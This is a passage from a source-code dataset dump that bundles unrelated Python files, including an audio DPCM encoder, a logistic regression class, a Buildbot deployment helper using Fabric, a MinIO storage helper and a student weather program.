 AlpgenJimmyWmunuNp1_pt20,\n  AlpgenJimmyWmunuNp2_pt20,\n  AlpgenJimmyWmunuNp3_pt20,\n  AlpgenJimmyWmunuNp4_pt20,\n  AlpgenJimmyWmunuNp5_pt20,\n  st_tchan_enu_McAtNlo_Jimmy,\n  st_tchan_munu_McAtNlo_Jimmy,\n  st_tchan_taunu_McAtNlo_Jimmy,\n  st_Wt_McAtNlo_Jimmy,\n  T1_McAtNlo_Jimmy,\n  AlpgenJimmyZeeNp0_Mll10to40_pt20,\n  AlpgenJimmyZeeNp1_Mll10to40_pt20,\n  AlpgenJimmyZeeNp2_Mll10to40_pt20,\n  AlpgenJimmyZeeNp3_Mll10to40_pt20,\n  AlpgenJimmyZeeNp4_Mll10to40_pt20,\n  AlpgenJimmyZeeNp5_Mll10to40_pt20,\n  AlpgenJimmyZmumuNp0_Mll10to40_pt20,\n  AlpgenJimmyZmumuNp1_Mll10to40_pt20,\n  AlpgenJimmyZmumuNp2_Mll10to40_pt20,\n  AlpgenJimmyZmumuNp3_Mll10to40_pt20,\n  AlpgenJimmyZmumuNp4_Mll10to40_pt20,\n  AlpgenJimmyZmumuNp5_Mll10to40_pt20,\n  ##   AlpgenJimmyZtautauNp0_Mll10to40_pt20,\n  ##   AlpgenJimmyZtautauNp1_Mll10to40_pt20,\n  ##   AlpgenJimmyZtautauNp2_Mll10to40_pt20,\n  ##   AlpgenJimmyZtautauNp3_Mll10to40_pt20,\n  ##   AlpgenJimmyZtautauNp4_Mll10to40_pt20,\n  ##   AlpgenJimmyZtautauNp5_Mll10to40_pt20,\n  ## PythiaWtaunu_1Lepton,\n  ## PythiaWenu_no_filter,\n  ## PythiaWmunu_no_filter,\n  PythiaZee_no_filter,\n  PythiaZmumu_no_filter,\n]\n","sub_path":"PLOTS/TestArturo/list_samples_names.py","file_name":"list_samples_names.py","file_ext":"py","file_size_in_byte":3203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"579337551","text":"import wave\nimport numpy as np\nimport struct\n\n\ndef open_wav(i=1):\n    f = wave.open(\"语料\\\\\" + str(i) + \".wav\", \"rb\")\n    params = f.getparams()\n    #print(params)\n    nchannels, sampwidth, framerate, nframes = params[:4]  # 音频通道，采样宽度，采样频率，音频帧的数量\n    str_data = f.readframes(nframes)\n    f.close()\n    wave_data = np.frombuffer(str_data, dtype=np.short)\n    wave_data = wave_data[:nframes - 1 + nframes % 2]\n    data = list(wave_data)\n    return data\n\n\ndef c(d, t):\n    if d > 7 * t:\n        return 7\n    elif d < -8 * t:\n        return -8\n    else:\n        return (d // t)\n\n\ndef encode(t, s, i):\n    # decode list\n    d = list()\n    d.append(s[0])\n    # encode list\n    e = list()\n    e.append(s[0])\n    for a in range(1, len(s)):\n        e.append(c(s[a] - d[a - 1], t))\n        d.append(d[a - 1] + e[a] * t)\n    for a in range(1, len(e)):\n        e[a] = e[a] + 8\n    return e\n\n\ndef write_bit(e, i):\n    f = open(\"语料\\\\\" + str(i)+ \"_2\" + \".dpc\", \"wb\")\n    f.write(struct.pack('i', e[0]))\n    a = 1\n    while a < len(e):\n        p = e[a]\n        q = e[a + 1]\n        r = (p << 4) + q\n        r = struct.pack('B', r)\n        f.write(r)\n        a = a + 2\n    f.close()\n\n\ndef read_bit(i):\n    f = open(\"语料\\\\\" + str(i)+ \"_2\" + \".dpc\", \"rb\")\n    e = list()\n    e.append(struct.unpack('i', f.read(4))[0])\n    while True:\n        chunk = f.read(1)\n        if not chunk:\n            break\n        r = struct.unpack('B', chunk)\n        p = r[0] >> 4\n        q = r[0] & int('00001111', 2)\n        e.append(p)\n        e.append(q)\n    return e\n\n\ndef decode(t, i):\n    e = read_bit(i)\n    for a in range(1,len(e)):\n        e[a] = e[a] - 8\n    d = list()\n    d.append(e[0])\n    for a in range(1, len(e)):\n        d.append(e[a] * t + d[a - 1])\n    return [x * 100 for x in d]\n\n\ndef write_pcm(d, i):\n    d = np.array(d, dtype=np.short)\n    d.tofile(\"语料\\\\\" + str(i)+ \"_2\" + \".pcm\")\n\n\ndef snr(sc, dc):\n    s = 0\n    n = 0\n    for a in range(len(sc)):\n        p = dc[a] * dc[a]\n        q = int(dc[a] - sc[a]) * int(dc[a] - sc[a])\n        s = int(s) + int(p)\n        n = int(n) + int(q)\n    return np.log10(s / n) * 10\n\n\ndef choose_t(t, i):\n    sc = open_wav(i)\n    nsc = [x // 100 for x in sc]\n    e = encode(t, nsc)\n    write_bit(e)\n    d = decode(t)\n    write_pcm(d)\n    nd = [x * 100 for x in d]\n    print(snr(sc, nd))\n    return snr(sc, nd)\n\n\n\ndef t(x):\n    t = x\n    a = x\n    max = 0\n    while a < 2000:\n        print(a)\n        a = a + 1\n        now = choose_t(a)\n        if now > max:\n            max = now\n            t = a\n    print(t, max)\n    return t\n\n\nfor i in range(1, 11):\n    t = 7\n    sc = open_wav(i)\n    nsc = [x // 100 for x in sc]\n    e = encode(t, nsc, i)\n    write_bit(e, i)\n    d = decode(t, i)\n    write_pcm(d, i)\n    print(snr(sc, d))\n\n\n\n","sub_path":"AV_EXP2/DPCM2.py","file_name":"DPCM2.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"341638206","text":"import tensorflow as tf\nimport tensorflow.contrib.slim as slim\n\nhidden_units = [32, 32, 32, 32, 32]\n\ndef predict_mlp_model(\n    inputs,\n    is_training=True,\n    predict_size=1,\n    l2_weight=0.1,\n    batch_norm_decay=0.99\n):\n\n    with slim.arg_scope(\n        [slim.fully_connected],\n        activation_fn=tf.nn.relu,\n        normalizer_fn=slim.batch_norm,\n        normalizer_params={'is_training': is_training,'decay': batch_norm_decay},\n        weights_regularizer=slim.l2_regularizer(l2_weight)\n        # weights_regularizer=None\n    ):\n        net = inputs\n        i = 0\n        for units in hidden_units:\n            i += 1\n            net = slim.fully_connected(net, units, scope=\"fc_\" + str(i))            \n\n        with slim.arg_scope(\n            [slim.fully_connected],\n            activation_fn=tf.nn.sigmoid,\n            normalizer_fn=None\n        ):\n            predict = slim.fully_connected(net, predict_size, scope=\"fc_pred\")\n\n    return predict\n","sub_path":"envfn_dnn/architecture.py","file_name":"architecture.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"642089799","text":"import numpy\nimport random\n\n\nclass LogisticRegression(object):\n    def __init__(self, number_of_rounds, data_sets):\n        self.number_of_rounds = number_of_rounds\n        self.data_sets = data_sets\n        self.learned_weights = []\n        self.learned_bias = 0\n        self.predictions = []\n\n    def train(self):\n        weights = numpy.zeros(self.data_sets.total_features)\n        bias = 0\n        for i in range(self.number_of_rounds):\n            random.shuffle(self.data_sets.training_set)\n            bias, weights = self.train_one_round(bias, weights)\n        self.learned_weights = weights\n        self.learned_bias = bias\n\n    def train_one_round(self, bias, weights):\n        for train in self.data_sets.training_set:\n            sigmoid = self.calculate_sigmoid(weights, train.features, bias)\n            delta = train.label - sigmoid\n            weights += delta * train.features\n            bias += delta\n        return bias, weights\n\n    @staticmethod\n    def calculate_sigmoid(weights, features, bias):\n        dot_product = numpy.dot(weights, features)\n        sigmoid = 1 / (1 + numpy.exp(-dot_product - bias))\n        return sigmoid\n\n    def generate_predictions(self):\n        predictions = []\n        for test in self.data_sets.testing_set:\n            sigmoid = self.calculate_sigmoid(self.learned_weights, test.features, self.learned_bias)\n            prediction = 1 if sigmoid >= .5 else 0\n            predictions.append(prediction)\n        self.predictions = predictions\n\n    def get_accuracy(self):\n        num_correct = 0\n        for i in range(len(self.predictions)):\n            if self.predictions[i] == self.data_sets.testing_set[i].label:\n                num_correct += 1\n        accuracy = num_correct / len(self.predictions)\n        return accuracy\n\n    def write_predictions(self, file_name):\n        file = open(file_name, \"w\")\n        for prediction in self.predictions:\n            new_line = self.data_sets.get_raw_label(prediction)\n            file.write(new_line + '\\n')\n        file.close()\n","sub_path":"RefactorHomeworkAssignment/LogisticRegression/LogisticRegression.py","file_name":"LogisticRegression.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"108806844","text":"import os\n\nfrom fabric.api import settings\n\nfrom burlap.constants import *\nfrom burlap import ServiceSatchel\nfrom burlap.decorators import task\nfrom burlap.trackers import FilesystemTracker, SettingsTracker, ORTracker\n\nclass BuildBotSatchel(ServiceSatchel):\n    \"\"\"\n    Configures a Buildbot master and worker on the first host,\n    with a worker on every additional host.\n    \"\"\"\n\n    name = 'buildbot'\n\n    @property\n    def packager_system_packages(self):\n        return {\n            UBUNTU: ['git'],\n        }\n\n    def set_defaults(self):\n\n        self.env.project_dir = '/usr/local/myproject'\n        self.env.virtualenv_dir = '/usr/local/myproject/.env'\n        self.env.home_dir = '/var/lib/{bb_user}'\n        self.env.src_dir = 'src/buildbot'\n\n        self.env.ssh_bin = '{home_dir}/bin'\n        self.env.ssh_dir = '{home_dir}/.ssh'\n        self.env.ssh_private_key = None # should be a *.pem file\n        self.env.ssh_public_key = None # should be a *.pub file\n\n        # Must match the main user, or otherwise we get rsync errors.\n        self.env.user = 'ubuntu'\n        self.env.group = 'ubuntu'\n\n        self.env.bb_user = 'buildbot'\n        self.env.bb_group = 'buildbot'\n\n        self.env.manhole_user = 'admin'\n        self.env.manhole_port = 1234\n\n        self.env.perms = '777'\n\n        #DEPRECATED\n        self.env.cron_path = '/etc/cron.d/buildbot_boot'\n        self.env.cron_user = 'root'\n        self.env.cron_group = 'root'\n        self.env.cron_perms = '600'\n\n        self.env.extra_deploy_paths = ['buildbot/worker/info/', 'buildbot/worker/buildbot.tac']\n\n        self.env.delete_deploy_paths = []\n\n        self.env.check_ok = True\n        self.env.check_ok_paths = {} # {branch: (url, text)}\n\n        self.env.rsync_paths = [] # [[from_path, to_path, user, group]]\n\n        self.env.enable_apache_site = True\n\n        self.env.requirements = 'pip-requirements.txt'\n\n        self.env.use_ssh_key = False\n\n        self.env.pid_path = 'buildbot/{type}/twistd.pid'\n\n        self.env.worker_names = ['worker']\n\n        #DEPRECATED\n        self.env.cron_check_enabled = False\n        self.env.cron_check_schedule = '0,30 * * * *'\n        self.env.cron_check_user = 'root'\n        self.env.cron_cron_check_worker_pid_path = None\n        self.env.cron_check_command_template = 'buildbot/check_buildbot.sh.template'\n        self.env.cron_check_command_path = '/usr/local/bin/check_buildbot.sh'\n        self.env.cron_check_crontab_template = 'buildbot/etc_crond_buildbot.template'\n        self.env.cron_check_crontab_path = '/etc/cron.d/buildbot'\n\n        self.env.supervisor_enabled = False\n\n        self.env.service_commands = {\n#             START:{\n#                 UBUNTU: 'service apache2 start',\n#             },\n#             STOP:{\n#                 UBUNTU: 'service apache2 stop',\n#             },\n#             DISABLE:{\n#                 (UBUNTU, '14.04'): 'update-rc.d -f apache2 remove',\n#             },\n#             ENABLE:{\n#                 (UBUNTU, '14.04'): 'update-rc.d apache2 defaults',\n#             },\n#             RELOAD:{\n#                 UBUNTU: 'service apache2 reload',\n#             },\n#             RESTART:{\n#                 # Note, the sleep 5 is necessary because the stop/start appears to\n#                 # happen in the background but gets aborted if Fabric exits before\n#                 # it completes.\n#                 UBUNTU: 'service apache2 restart; sleep 3',\n#             },\n        }\n\n    @property\n    def is_first_host(self):\n        return self.genv.hosts[0] == self.genv.host_string\n\n    @task\n    def restart(self):\n        r = self.local_renderer\n        self.set_permissions()\n        if r.env.supervisor_enabled:\n            r.sudo('supervisorctl restart all')\n        else:\n            self.restart_master(ignore_errors=True)\n            self.restart_worker(ignore_errors=True)\n\n    @property\n    def restart_master_command(self):\n        r = self.local_renderer\n        r.env.restart_master_command = r.format(\n            'sudo -u {bb_user} bash -c \"cd {project_dir}/src/buildbot; '\n            '{virtualenv_dir}/bin/buildbot restart master\"')\n        return r.env.restart_master_command\n\n    @task\n    def restart_master(self, ignore_errors=None):\n        if not self.is_first_host:\n            return\n        ignore_errors = self.ignore_errors if ignore_errors is None else ignore_errors\n        r = self.local_renderer\n        s = {'warn_only':True} if ignore_errors else {}\n        with settings(**s):\n            r.run(self.restart_master_command)\n\n    def get_restart_worker_command(self, name=None):\n        r = self.local_renderer\n        parts = []\n        for worker_name in self.get_worker_names_for_current_host():\n            if name and worker_name != name:\n                continue\n            r.env.worker_name = worker_name\n            parts.append('cd {project_dir}/src/buildbot; {virtualenv_dir}/bin/buildbot-worker restart %s;' % worker_name)\n        if not parts:\n            return\n        parts = ' '.join(parts)\n        r.env.restart_worker_command = r.format('sudo -u {bb_user} bash -c \"%s\"' % parts)\n        return r.env.restart_worker_command\n\n    @task\n    def restart_worker(self, ignore_errors=None, name=None):\n        ignore_errors = self.ignore_errors if ignore_errors is None else ignore_errors\n        r = self.local_renderer\n        s = {'warn_only':True} if ignore_errors else {}\n        with settings(**s):\n            cmd = self.get_restart_worker_command(name=name)\n            if cmd:\n                print('cmd:', cmd)\n                r.run(cmd)\n\n    @task\n    def start(self):\n        r = self.local_renderer\n        s = {'warn_only':True} if self.ignore_errors else {}\n        with settings(**s):\n            if r.env.supervisor_enabled:\n                r.sudo('supervisorctl start all')\n            else:\n                r.run(\n                    'sudo -u {bb_user} bash -c \"cd {project_dir}/src/buildbot; '\n                    '{virtualenv_dir}/bin/buildbot start master\"')\n                for worker_name in self.get_worker_names_for_current_host():\n                    r.env.worker_name = worker_name\n                    r.run(\n                        'sudo -u {bb_user} bash -c \"cd {project_dir}/src/buildbot; '\n                        '{virtualenv_dir}/bin/buildbot-worker start {worker_name}\"')\n\n    @property\n    def host_index(self):\n        return self.genv.hosts.index(self.genv.host_string)\n\n    def get_worker_names_for_current_host(self):\n        r = self.local_renderer\n        names = []\n        host_index = self.host_index\n        for i, worker_name in enumerate(r.env.worker_names):\n            if i == host_index:\n                names.append(worker_name)\n        return names\n\n    @task\n    def stop(self):\n        r = self.local_renderer\n        s = {'warn_only': True}\n        with settings(**s):\n            if r.env.supervisor_enabled:\n                r.sudo('supervisorctl stop all')\n            else:\n                if self.is_first_host:\n                    r.run(\n                        'sudo -u {bb_user} bash -c \"cd {project_dir}/src/buildbot; '\n                        '{virtualenv_dir}/bin/buildbot stop master\"')\n                for worker_name in self.get_worker_names_for_current_host():\n                    r.env.worker_name = worker_name\n                    with settings(warn_only=True):\n                        r.run(\n                            'sudo -u {bb_user} bash -c \"cd {project_dir}/src/buildbot; '\n                            '{virtualenv_dir}/bin/buildbot-worker stop {worker_name}\"')\n\n    @task\n    def reload(self):\n        r = self.local_renderer\n        s = {'warn_only':True} if self.ignore_errors else {}\n        with settings(**s):\n            r.run(\n                'sudo -u {bb_user} bash -c \"'\n                'cd {project_dir}/src/buildbot; '\n                '{virtualenv_dir}/bin/buildbot reconfig master\"')\n\n    @task\n    def set_permissions(self):\n        r = self.local_renderer\n        r.sudo('chown -R {bb_user}:{bb_group} {home_dir}')\n        r.sudo('chown -R {bb_user}:{bb_group} {project_dir}')\n        #r.sudo('chown -R {bb_user}:{bb_group} {project_dir}/src/buildbot/master')\n        #r.sudo('chown -R {bb_user}:{bb_group} {project_dir}/src/buildbot/worker')\n        r.sudo('chmod -R {perms} {project_dir}')\n\n    @task\n    def rsync_paths(self):\n        r = self.local_renderer\n        for from_path, to_path, to_user, to_group, to_perms in r.env.rsync_paths:\n            assert os.path.isfile(from_path)\n            r.env.from_path = from_path\n            r.env.to_path = to_path\n            r.env.to_user = to_user\n            r.env.to_group = to_group\n            r.env.to_path_fq = os.path.join(to_path, os.path.split(from_path)[-1])\n            r.env.to_perms = to_perms\n#             r.local('rsync '\n#                 '--verbose --compress '\n#                 '--rsh \"ssh -t -o StrictHostKeyChecking=no -i {key_filename}\" '\n#                 '{from_path} {user}@{host_string}:{to_path}')\n            r.put(local_path=r.env.from_path, remote_path=r.env.to_path, use_sudo=True)\n            r.sudo('chown {to_user}:{to_group} {to_path_fq}')\n            r.sudo('chmod {to_perms} {to_path_fq}')\n\n    @task\n    def setup_dir(self, clean=0):\n        pip = self.get_satchel('pip')\n        clean = int(clean)\n        r = self.local_renderer\n        if clean:\n            r.sudo('rm -Rf {virtualenv_dir} || true')\n        r.sudo('mkdir -p {project_dir}')\n        pip.update_install(\n            requirements=self.env.requirements,\n            virtualenv_dir=self.env.virtualenv_dir,\n            user=self.env.user,\n            group=self.env.group,\n            perms=self.env.perms,\n        )\n        #r.sudo('{virtualenv_dir}/bin/pip install -U pip')\n        r.sudo('chown -R {user}:{group} {project_dir}')\n        r.sudo('chmod -R {perms} {project_dir}')\n\n    @task\n    def install_cron(self):\n        if not self.is_first_host:\n            return\n        r = self.local_renderer\n        r.sudo(\n            'printf \\'SHELL=/bin/bash\\\\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\\\\n@reboot '\n            'buildbot bash -c \"cd {project_dir}/src/buildbot; '\n            '{project_dir}/.env/bin/buildbot start master; '\n            '{project_dir}/.env/bin/buildbot-worker start worker\"\\\\n\\' > {cron_path}')\n        r.sudo('chown {cron_user}:{cron_group} {cron_path}')\n        # Must be 600, otherwise gives INSECURE MODE error.\n        # http://unix.stackexchange.com/questions/91202/cron-does-not-print-to-syslog\n        r.sudo('chmod {cron_perms} {cron_path}')\n        r.sudo('service cron restart')\n\n    @task\n    def uninstall_cron(self):\n        r = self.local_renderer\n        r.sudo('rm -f {cron_path} || true')\n        r.sudo('service cron restart')\n\n    @task\n    def deploy_code(self):\n        r = self.local_renderer\n\n        r.sudo('chown -R {user}:{group} {project_dir}')\n        r.sudo('chmod -R {perms} {project_dir}')\n\n        for delete_path in r.env.delete_deploy_paths:\n            r.sudo('rm -Rf %s' % delete_path)\n\n        r.local('rsync '\n            '--recursive --verbose --perms --times --links '\n            '--compress --copy-links '\n            '--exclude=*.pyc --exclude=gitpoller-workdir --exclude=*.log --exclude=twistd.pid '\n            '--exclude=*.sqlite '\n            '--exclude=build '\n            '--exclude=worker '\n            '--exclude=*_runtests '\n            '--delete --delete-before '\n            '--rsh \"ssh -t -o StrictHostKeyChecking=no -i {key_filename}\" '\n            'src {user}@{host_string}:{project_dir}')\n\n        for path in self.env.extra_deploy_paths:\n            if path.endswith('/'):\n                # Directory.\n                r.env.tmp_path = path[:-1]\n                r.env.tmp_remote_path = os.path.split(path[:-1])[0]\n                r.sudo('mkdir -p {project_dir}/src/{tmp_remote_path}')\n            else:\n                # File.\n                r.env.tmp_path = path\n                r.env.tmp_remote_path = os.path.split(path)[0]\n\n            r.pc('Fixing permissions...')\n            r.sudo('chown -R {bb_user}:{bb_group} {project_dir}')\n            r.sudo('chmod -R {perms} {project_dir}')\n            r.local('rsync '\n                '--recursive --verbose --times --omit-dir-times --links '\n                '--compress --copy-links '\n                '--delete --delete-before '\n                '--rsh \"ssh -t -o StrictHostKeyChecking=no -i {key_filename}\" '\n                'src/{tmp_path} {user}@{host_string}:{project_dir}/src/{tmp_remote_path}')\n\n        self.rsync_paths()\n\n        self.set_permissions()\n\n    @task\n    def view_log(self, name='master', section='twistd'):\n        r = self.local_renderer\n        r.env.name = name\n        assert section in ('twistd', 'http')\n        r.env.section = section\n        r.run('tail -f --lines=100 {project_dir}/src/buildbot/{name}/{section}.log')\n\n    @task\n    def manhole(self):\n        r = self.local_renderer\n        r.env.host_string = '127.0.0.1'#self.genv.host_string\n        r.run('ssh -p{manhole_port} {manhole_user}@{host_string}')\n\n    @task\n    def check_ok(self):\n        \"\"\"\n        Ensures all tests have passed for this branch.\n\n        This should be called before deployment, to prevent accidental deployment of code\n        that hasn't passed automated testing.\n        \"\"\"\n        import requests\n\n        if not self.env.check_ok:\n            return\n\n        # Find current git branch.\n        branch_name = self._local('git rev-parse --abbrev-ref HEAD', capture=True).strip()\n\n        check_ok_paths = self.env.check_ok_paths or {}\n\n        if branch_name in check_ok_paths:\n            check = check_ok_paths[branch_name]\n            if 'username' in check:\n                auth = (check['username'], check['password'])\n            else:\n                auth = None\n            ret = requests.get(check['url'], auth=auth)\n            passed = check['text'] in ret.content\n            assert passed, 'Check failed: %s' % check['url']\n\n    @task\n    def setup_apache(self):\n        r = self.local_renderer\n        if r.env.enable_apache_site and self.is_first_host:\n            apache = self.get_satchel('apache')\n            apache.enable_mod('proxy_http')\n\n    @task\n    def setup_user(self):\n        r = self.local_renderer\n        user = self.get_satchel('user')\n        group = self.get_satchel('group')\n        group.create(self.env.bb_group)\n        user.create(\n            username=r.env.bb_user,\n            groups=r.env.bb_group,\n            create_home=True,\n            home_dir=r.format(r.env.home_dir),\n            password=False,\n        )\n        #user.create(self.env.bb_user, self.env.bb_group)\n\n    def deploy_pre_run(self):\n        self.check_ok()\n\n    @task\n    def configure_ssh_key(self):\n        r = self.local_renderer\n        r.env.private_remote_path = '{ssh_dir}/id_rsa'\n        r.env.public_remote_path = '{ssh_dir}/id_rsa.pub'\n        if r.env.use_ssh_key:\n            #https://www.cyberciti.biz/faq/how-to-set-up-ssh-keys-on-linux-unix/\n            assert r.env.ssh_private_key, 'No SSH private key specified!'\n            assert r.env.ssh_public_key, 'No SSH public key specified!'\n            r.sudo('mkdir -p {ssh_dir}')\n            r.put(local_path=r.env.ssh_private_key, remote_path=r.env.private_remote_path, use_sudo=True)\n            r.put(local_path=r.env.ssh_public_key, remote_path=r.env.public_remote_path, use_sudo=True)\n            r.sudo('chown -R {bb_user}:{bb_group} {ssh_dir}')\n            r.sudo('chmod -R 0770 {ssh_dir}')\n            r.sudo('chmod -R 0600 {ssh_dir}/*')\n        else:\n            r.sudo('rm -F {private_remote_path}')\n            r.sudo('rm -F {public_remote_path}')\n\n    @task\n    def delete_logs(self):\n        r = self.local_renderer\n        names = ('master', 'worker')\n        logs = ('twistd.log', 'http.log')\n        for name in names:\n            r.env.name = name\n            for log in logs:\n                r.env.log = log\n                r.sudo('rm -f {project_dir}/src/buildbot/{name}/{log}')\n\n    @task\n    def install_cron_check(self):\n        r = self.local_renderer\n\n        # Install script to perform the actual check.\n        assert r.env.cron_check_worker_pid_path, 'Worker PID path not set.'\n        self.restart_master_command\n        self.get_restart_worker_command()\n        self.install_script(\n            local_path=r.env.cron_check_command_template,\n            remote_path=r.env.cron_check_command_path,\n            render=True,\n            extra=r.collect_genv())\n        r.sudo('chown root:root {cron_check_command_path}')\n\n        # Install crontab to schedule running the script.\n        self.install_script(\n            local_path=r.env.cron_check_crontab_template,\n            remote_path=r.env.cron_check_crontab_path,\n            render=True,\n            extra=r.collect_genv())\n        r.sudo('chown root:root {cron_check_crontab_path}')\n        r.sudo('chmod 600 {cron_check_crontab_path}')\n        r.sudo('service cron restart')\n\n    @task\n    def uninstall_cron_check(self):\n        r = self.local_renderer\n        r.sudo('rm -f {cron_check_crontab_path}')\n        r.sudo('rm -f {cron_check_command_path}')\n        r.sudo('service cron restart')\n\n    @task\n    def install_supervisor(self):\n        r = self.local_renderer\n        if r.env.supervisor_enabled:\n            extra = {'workerN': r.genv.hosts.index(r.genv.host_string)+1}\n            self.install_script(\n                local_path='buildbot/supervisor.conf.template',\n                remote_path='/etc/supervisor/conf.d/buildbot.conf',\n                render=True,\n                extra=extra)\n        else:\n            r.sudo('rm -f /etc/supervisor/conf.d/buildbot.conf')\n            r.sudo('supervisorctl reload')\n\n    # @task\n    # def update_cron_check(self):\n        # if not self.is_first_host:\n            # return\n        # elif self.param_changed_to('cron_check_enabled', True):\n            # self.install_cron_check()\n        # elif self.param_changed_to('cron_check_enabled', False):\n            # self.uninstall_cron_check()\n\n    @task\n    def uninstall(self):\n        r = self.local_renderer\n\n        with settings(warn_only=True):\n            self.stop()\n\n        self.uninstall_cron_check()\n\n        self.uninstall_cron()\n\n        r.sudo('rm -Rf {virtualenv_dir} || true')\n        r.sudo('rm -Rf {project_dir} || true')\n\n    def get_trackers(self):\n        r = self.local_renderer\n        return [\n\n            SettingsTracker(\n                satchel=self,\n                names='bb_user bb_group home_dir',\n                action=self.setup_user),\n\n            ORTracker(\n                SettingsTracker(satchel=self, names='virtualenv_dir project_dir'),\n                FilesystemTracker(base_dir=r.format('roles/{ROLE}'), extensions='pip-requirements.txt'),\n                action=self.setup_dir),\n\n            SettingsTracker(\n                satchel=self,\n                names='enable_apache_site',\n                action=self.setup_apache),\n\n            SettingsTracker(\n                satchel=self,\n                names='ssh_dir ssh_private_key ssh_public_key bb_user bb_group',\n                action=self.configure_ssh_key),\n\n            FilesystemTracker(\n                base_dir=r.format(r.env.src_dir), extensions='*.py *.tac *.cfg htpasswd',\n                action=self.deploy_code),\n\n            # SettingsTracker(\n                # satchel=self,\n                # names='project_dir cron_path cron_perms',\n                # action=self.install_cron),\n\n            SettingsTracker(\n                satchel=self,\n                # names='project_dir cron_path cron_perms',\n                action=self.install_supervisor),\n\n            # SettingsTracker(\n                # satchel=self,\n                # names='cron_check_enabled',\n                # action=self.update_cron_check),\n\n        ]\n\n    @task(precursors=['packager', 'user', 'apache'])\n    def configure(self):\n        r = self.local_renderer\n\n        has_changes = self.has_changes\n        if has_changes:\n            self.vprint('Stopping any existing buildbot server...')\n            with settings(warn_only=True):\n                self.stop()\n\n        super(BuildBotSatchel, self).configure()\n\n        if has_changes:\n            self.restart()\n            if self.is_first_host:\n                apache = self.get_satchel('apache')\n                apache.reload()\n\nbuildbot = BuildBotSatchel()\n","sub_path":"burlap/buildbot.py","file_name":"buildbot.py","file_ext":"py","file_size_in_byte":20427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"432930025","text":"import gzip\nimport json\nimport re\n\npath = '../data/jawiki-country.json.gz'\n\ndef article_UK():\n    with gzip.open(path, mode='r') as f:\n        for line in f:\n            obj = json.loads(line)\n            if obj['title'] == 'イギリス':\n                return obj['text']\n    raise ValueError('イギリスの記事が見つからない')\n\n'''\n(.+?) 非貪欲でマッチさせ、後ろの'='を含まないようにする\n'''\nr = re.compile(r'(=+)(.+?)(=+)')\ndoc = article_UK().split('\\n')\n\nfor line in doc:\n    match = r.match(line)\n    if match:\n        print('セクション：{section}, レベル:{level}'.format(section=match.group(2).strip(' '), level=len(match.group(1))-1))","sub_path":"chapter3/23.py","file_name":"23.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"426970660","text":"from typing import Dict, Iterable\n\nimport minio\nfrom django.conf import settings\nfrom minio import Minio\n\ns3 = Minio(\n    settings.S3_HOST,\n    access_key=settings.S3_ACCESS_KEY,\n    secret_key=settings.S3_SECRET_KEY,\n    secure=False\n)\n\n\ndef get_object(bucket_name: str, object_name: str) -> str:\n    response = None\n    try:\n        response = s3.get_object(bucket_name, object_name)\n        return response.data.decode(\"utf-8\")\n    finally:\n        if response:\n            response.close()\n            response.release_conn()\n\n\ndef get_directory(bucket: str, prefix: str) -> Dict[str, str]:\n    objects: Iterable[minio.Object] = s3.list_objects(bucket, prefix)\n    files = {\n        object.object_name[len(prefix):]: get_object(object.bucket_name, object.object_name)\n        for object in objects\n    }\n    return files\n","sub_path":"judge/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"444126804","text":"\"\"\"\nFile: weather_master.py\nName: Jeffrey.Lin 2020/07\n-----------------------\nThis program should implement a console program\nthat asks weather data from user to compute the\naverage, highest, lowest, cold days among the inputs.\nOutput format should match what is shown in the sample\nrun in the Assignment 2 Handout.\n\n\"\"\"\n# This number controls when to stop the weather_master\nEXIT = -100\n\n\ndef main():\n\t\"\"\"\n\tThis program find and calculate the highest temperature, the lowest temperature, the average of daily temperature\n\tand the total days of cold day among the user inputs of everyday's temperature.\n\t\"\"\"\n\tprint('stanCode \"Weather Master 4.0\"!')\n\tdata = int(input('Next Temperature:(or '+str(EXIT)+' to quit)?'))\n\tif data == EXIT:\n\t\tprint('No temperature were entered.')\n\telse:\n\t\tmaximum = int(data)\n\t\tminimum = int(data)\n\t\tnum = 1\n\t\tsum = int(data)\n\n\t\tif maximum < 16:\n\t\t\tcold = 1\n\t\telse:\n\t\t\tcold = 0\n\t\twhile True:\n\t\t\tdata = int(input('Next Temperature:(or -100 to quit)?'))\n\t\t\tif data == EXIT:\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tsum += data\n\t\t\t\tnum += 1\n\t\t\t\tif data < 16:\n\t\t\t\t\tcold += 1\n\t\t\t\tif data >= maximum:\n\t\t\t\t\tmaximum = data\n\t\t\t\tif data <= minimum:\n\t\t\t\t\tminimum = data\n\n\t\taverage = float(sum/num)\n\t\tprint('Highest Temperature = ' + str(maximum))\n\t\tprint('Lowest Temperature = ' + str(minimum))\n\t\tprint('Average = ' + str(average))\n\t\tprint(str(cold) + ' cold day(s)')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n###### DO NOT EDIT CODE BELOW THIS LINE ######\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"stanCode Project/Wheather Master/weather_master.py","file_name":"weather_master.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"649321598","text":"import codecs\n\nfilepath = \"E:/study/NLP/dataset/new data/hotel\"\nfilename = filepath + \"/test.txt\"\nf = codecs.open(filename,mode='r',encoding='utf8')\nline = f.readline()\nlist = []\nwhile line:\n    a = line.split()\n    b = a[1:2]\n    list.append(b)\n    result = f.readline()\nf.close()\nprint(list)","sub_path":"DataProcess/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
